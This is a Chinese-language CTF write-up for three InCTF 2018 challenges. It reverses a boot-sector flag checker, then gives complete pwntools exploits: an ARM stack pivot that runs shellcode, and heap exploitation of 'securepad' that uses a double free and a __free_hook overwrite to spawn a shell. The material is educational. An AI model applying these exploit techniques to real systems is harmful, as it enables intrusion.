InCTF2018_load3r&&wARMup&&securepad

不算太难的几个题,不过其中一个设为群内题,还是写一下WP,毕竟自己挖的坑自己填

0x01 load3r

无法直接运行
猜测是类似网鼎第一场的Re
使用qemu运行程序:

1
qemu-system-i386 -drive format=raw,file=./boot_try.bin

程序是让我们输入flag并进行判断
IDA 16模式下载入
看到主要是两个函数:

1
2
sub_11b
sub_128

主要看一下sub_128(分析在注释里):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
seg000:0128 sub_128         proc near               ; CODE XREF: seg000:0011↑p
seg000:0128 ; sub_128+1D↓j
seg000:0128 mov ah, 1
seg000:012A int 16h ; KEYBOARD - CHECK BUFFER, DO NOT CLEAR
seg000:012A ; Return: ZF clear if character in buffer
seg000:012A ; AH = scan code, AL = character
seg000:012A ; ZF set if no character in buffer
seg000:012C mov ah, 0
seg000:012E int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:012E ; Return: AH = scan code, AL = character
seg000:0130 mov ds:6Dh, al
seg000:0133 mov [bx+6Fh], al ; 这里不是string整个读入,而是逐个接收键盘输入,因此要一次性输入正确字符串,否则依然不正确
seg000:0137 cmp byte ptr ds:6Dh, 0Dh;回车符
seg000:013C jz short loc_147
seg000:013E inc bx
seg000:013F mov si, 6Dh ; 'm'
seg000:0142 call sub_11B ;类似检验输入是否正常
seg000:0145 jmp short sub_128
seg000:0147 ; ---------------------------------------------------------------------------
seg000:0147
seg000:0147 loc_147: ; CODE XREF: sub_128+14↑j
seg000:0147 mov ah, 0Eh
seg000:0149 mov al, 0Ah
seg000:014B int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:014B ; AL = character, BH = display page (alpha modes)
seg000:014B ; BL = foreground color (graphics modes)
seg000:014D cmp bx, 22h ; '"'
seg000:0150 jz short loc_154 ; 判断输入长度为0x22
seg000:0152 jmp short loc_184
seg000:0154 ; ---------------------------------------------------------------------------
seg000:0154
seg000:0154 loc_154: ; CODE XREF: sub_128+28↑j
seg000:0154 mov ax, 0
seg000:0157 mov bx, 0
seg000:015A mov si, 6Fh ; 'o' ; si=input_addr
seg000:015D
seg000:015D loc_15D: ; CODE XREF: sub_128+4A↓j
seg000:015D ; sub_128+54↓j
seg000:015D mov al, 31h ; '1'
seg000:015F cmp [bx+0C9h], al ; 以bx+0xc9处"0"和"1"字符串为key,逐位与1比较
seg000:0163 jz short loc_174
seg000:0165 lodsb
seg000:0166 shr al, 1 ; 为1,则input[i]>>1
seg000:0168 mov [bx+0EEh], al
seg000:016C inc bx
seg000:016D cmp bx, 23h ; '#'
seg000:0170 jz short loc_1A8
seg000:0172 jmp short loc_15D
seg000:0174 ; ---------------------------------------------------------------------------
seg000:0174
seg000:0174 loc_174: ; CODE XREF: sub_128+3B↑j
seg000:0174 lodsb
seg000:0175 shl al, 1 ; 为0,则input[i]<<1
seg000:0177 mov [bx+0EEh], al
seg000:017B inc bx
seg000:017C jmp short loc_15D
seg000:017E ; ---------------------------------------------------------------------------
seg000:017E mov si, 0EEh
seg000:0181 call sub_11B
seg000:0184
seg000:0184 loc_184: ; CODE XREF: sub_128+2A↑j
seg000:0184 ; sub_128+A1↓j
seg000:0184 mov ah, 0Eh
seg000:0186 mov al, 0Dh
seg000:0188 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:0188 ; AL = character, BH = display page (alpha modes)
seg000:0188 ; BL = foreground color (graphics modes)
seg000:018A mov si, 65h ; 'e'
seg000:018D call sub_11B
seg000:0190 jmp short locret_1D3
seg000:0192 ; ---------------------------------------------------------------------------
seg000:0192
seg000:0192 loc_192: ; CODE XREF: sub_128+A6↓j
seg000:0192 mov ah, 0Eh
seg000:0194 mov al, 0Dh
seg000:0196 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:0196 ; AL = character, BH = display page (alpha modes)
seg000:0196 ; BL = foreground color (graphics modes)
seg000:0198 mov al, 0Dh
seg000:019A int 10h ; - VIDEO -
seg000:019C mov al, 0Ah
seg000:019E int 10h ; - VIDEO -
seg000:01A0 mov si, 4Ch ; 'L'
seg000:01A3 call sub_11B
seg000:01A6 jmp short locret_1D3
seg000:01A8 ; ---------------------------------------------------------------------------
seg000:01A8
seg000:01A8 loc_1A8: ; CODE XREF: sub_128+48↑j
seg000:01A8 mov bx, 0
seg000:01AB mov si, 0EEh ; encode(input)_addr
seg000:01AE
seg000:01AE loc_1AE: ; CODE XREF: sub_128+94↓j
seg000:01AE lodsb
seg000:01AF cmp al, 0
seg000:01B1 jz short loc_1BE
seg000:01B3 mov ah, 0Eh
seg000:01B5 xor al, 5 ; 经加密后的input每一位xor 5
seg000:01B7 mov [bx+9Ch], al
seg000:01BB inc bx
seg000:01BC jmp short loc_1AE
seg000:01BE ; ---------------------------------------------------------------------------
seg000:01BE
seg000:01BE loc_1BE: ; CODE XREF: sub_128+89↑j
seg000:01BE mov bx, 21h ; '!'
seg000:01C1 mov si, 9Ch
seg000:01C4
seg000:01C4 loc_1C4: ; CODE XREF: sub_128+A9↓j
seg000:01C4 lodsb
seg000:01C5 cmp al, [bx+27h]
seg000:01C9 jnz short loc_184
seg000:01CB cmp bx, 0
seg000:01CE jz short loc_192
seg000:01D0 dec bx ; 逆序比较
seg000:01D1 jmp short loc_1C4
seg000:01D3 ; ---------------------------------------------------------------------------
seg000:01D3
seg000:01D3 locret_1D3: ; CODE XREF: sub_11B+5↑j
seg000:01D3 ; sub_128+68↑j ...
seg000:01D3 retn
seg000:01D3 sub_128 endp

大致过程就是

1
2
3
4
接收输入
利用预先定义的一组"01"对字符串逐位移位处理
将上一步结果逐位xor 5
最终与预先定义的字符串逆序比较

提取数据脚本逆一下过程即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
key=[
0x77, 0x32, 0x67, 0x31, 0x6B, 0x53, 0x3C, 0x63, 0x37, 0x6D,
0x65, 0x33, 0x6B, 0x65, 0x65, 0x75, 0x53, 0x4D, 0x67, 0x31,
0x6B, 0x53, 0x6B, 0x25, 0x53, 0x65, 0x3C, 0x3D, 0x53, 0x33,
0x25, 0x2F, 0x65, 0x2F
]
key2=[
0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x31, 0x31,
0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, 0x31, 0x31, 0x31,
0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31,
0x30, 0x31, 0x30, 0x31
]
ans=""
for i in range(34):
if key2[33-i]==0x30:
ans+=chr((key[i]^5)<<1)
else:
ans+=chr((key[i]^5)>>1)
print ans[::-1]

0x02 wARMup

载入IDA,可以看到是一个arm程序
给出了lib文件夹,且文件夹下:

1
2
ld-linux-armhf.so.3
libc.so.6

运行程序:

1
2
3
4
5
qemu-arm -L ./  ./wARMup
#-L dir 指向BIOS和VGA BIOS所在目录
result:
Welcome to bi0s CTF!
#接收输入

IDA看到main函数:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+4h] [bp-68h]

alarm(0x1Eu);
setvbuf((FILE *)_bss_start, 0, 2, 0);
puts("Welcome to bi0s CTF!");
read(0, &buf, 0x78u);
return 0;
}

程序保护

1
2
3
4
5
Arch:     arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

明显的栈溢出
不过这里只能溢出16字节
我们可以先迁移栈到一个已知且可写可执行的地址
而后复用main中的read,将shellcode写入此地址
再ret入shellcode即可
调试:

1
2
3
4
5
6
7
qemu-arm -g 1234 -L ./  ./wARMup
#localhost:1234
而后IDA连接gdb debugger即可远程调试
或者:
gdb-multiarch
set architecture arm
target remote localhost:1234

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = "debug"
elf = ELF("./wARMup")
libc = ELF("./lib/libc.so.6")
p = process(["qemu-arm", "-L", "./", "./wARMup"])
shellcode = asm(shellcraft.arm.linux.sh(),arch='arm')
stack_addr = elf.bss()+0x500
payload='a'*100+p32(stack_addr)+p32(0x00010364)+p32(stack_addr)+p32(0x10534)
p.recvuntil("!\n")
p.sendline(payload)
p.sendline(p32(stack_addr-0x4)+shellcode)
p.interactive()

0x03 securepad

解法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
switch ( (unsigned int)off_12B8 )
{
case 0u:
exit(0);
return;
case 1u:
authenticate();
add();
break;
case 2u:
authenticate();
edit();
break;
case 3u:
authenticate();
delete();
break;
case 4u:
authenticate();
view();
break;
default:
puts("Invalid");
break;
}

每次操作都会调用authenticate()
而authenticate()中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 authenticate()
{
size_t n; // ST08_8
unsigned int v2; // [rsp+4h] [rbp-41Ch]
char s1; // [rsp+10h] [rbp-410h]
unsigned __int64 v4; // [rsp+418h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Enter password");
get_inp(&s1, 1024);
n = strlen(password);
if ( !strncmp(&s1, password, n) )
v2 = system("sh");
else
v2 = 0;
return v2;
}

而password:

1
2
3
4
5
6
7
8
9
10
11
12
int init_password()
{
int fd; // ST0C_4
char *v1; // rax

fd = open("/dev/urandom", 0);
read(fd, password, 0x20uLL);
v1 = (char *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
table = (__int64)v1;
sizes = (__int64)(v1 + 256);
return close(fd);
}

利用/dev/urandom生成随机password
不过有一定概率password初始就为”\x00”
因此我们不断在判断password时输入0字节
当遇到初始为”\x00”的情况便可以成功利用authenticate()调用system(“/bin/sh”)
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

while True:
p=process("./securepad")
p.recvuntil(">>> ")
p.sendline("1")
p.recvuntil("password\n")
p.sendline("")
p.sendline("ls")
if "size" not in p.recvuntil("\n"):
p.interactive()
break
else:
p.close()

解法二

delete处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 delete()
{
void *ptr; // [rsp+10h] [rbp-20h]
unsigned __int64 i; // [rsp+18h] [rbp-18h]
__int64 v3; // [rsp+20h] [rbp-10h]

puts("Enter index");
v3 = (signed int)get_int("Enter index");
for ( i = 0LL; i <= 9; ++i )
{
if ( i == v3 )
{
ptr = *(void **)(8 * i + table);
break;
}
}
if ( ptr )
{
free(ptr);
*(_QWORD *)(8 * i + table) = 0LL;
}
return 0LL;
}

可以看到,当我们index大于10时
ptr并不是根据索引获取
而是利用栈上原本此处的数据
而此处,位于在调用delete前的authenticate函数的
我们input的password区域内
因此我们可以传入一个大于9的index
并在之前布置好栈空间,使ptr处为特定地址便可以将任意地址free

思路:

1
2
3
4
首先正常思路,使用fastbin来leak heap address
而后构造一个fake chunk利用delete的漏洞free进入unsorted bin
同样的思路利用分配的unsorted bin来leak libc
然后double free fastbin来将一个chunk分配到malloc hook或free hook前,覆盖其为system address即可

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *

context.log_level = 'debug'

def authenticate(password):
p.recvuntil('Enter password\n')
p.sendline(password)

def add(password, size, note):
p.sendlineafter('>>> ', '1')
authenticate(password)
p.recvuntil('Enter size\n')
p.sendline(str(size))
p.sendafter('Enter data: ', note)

def edit(password, index, note):
p.sendlineafter('>>> ', '2')
authenticate(password)
p.recvuntil('Enter index\n')
p.sendline(str(index))
p.send(note)

def delete(password, index):
p.sendlineafter('>>> ', '3')
authenticate(password)
p.recvuntil('Enter index\n')
p.sendline(str(index))

def view(password, index):
p.sendlineafter('>>> ', '4')
authenticate(password)
p.recvuntil('Enter index\n')
p.sendline(str(index))

p = process('./securepad')

#leak heap_addr
#0x21 0x21
add('kirin', 8, 'aaaa\n')
add('kirin', 8, 'aaaa\n')
delete('kirin', 0)
delete('kirin', 1)
add('kirin', 1, 'a')
view('kirin', 0)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x61
print 'heap base: {}'.format(hex(heap_addr))

#fake_chunk
#note 1 2 3
#0x81->0x71->0x31
add('kirin', 0x70, p64(0) + p64(0xe1) + '\n')
add('kirin', 0x60, '\n')
add('kirin', 0x20, '\n')#avoid the fusion between fake_chunk and top_chunk

#leak libc
#note 4
#unsorted:0x70
#unsorted bin->0x70
delete('a' * 0x3f0 + p64(heap_addr+0x60)+'\n', 10)
add('kirin', 0x70-0x10, '\n')
view('kirin',2)
libc_addr = u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
print 'libc base: {}'.format(hex(libc_addr))
free_hook = libc_addr + 0x3c67a8
print 'free hook: {}'.format(hex(free_hook))
system_addr = libc_addr + 0x45390
print 'system: {}'.format(hex(system_addr))

#create 0x7f bypass the check of malloc
#note 5
#0x71
edit('kirin', 2, p64(0) + p64(free_hook - 0x28) + '\n')
add('kirin', 0x60, '\n')


#fastbin double free
#4->5->4
#0x70->0x70->0x70
delete('kirin', 4)
delete('kirin', 5)
#gdb.attach(p)
delete('a' * 0x3f0 + p64(heap_addr + 0x60), 10)

#chunk before free_hook
#5->4->free_hook-0x1b
add('kirin', 0x60, p64(free_hook-0x1b)+'\n')
#4->free_hook-0x1b
add('kirin', 0x60, '\n')
#free_hook-0x1b
add('kirin', 0x60, '\n')
#overwrite the free_hook by system_addr
add('kirin', 0x60, '\x00'*0xb+p64(system_addr)+'\n')
edit('kirin',2,'/bin/sh'+'\n')
delete('kirin',2)
p.interactive()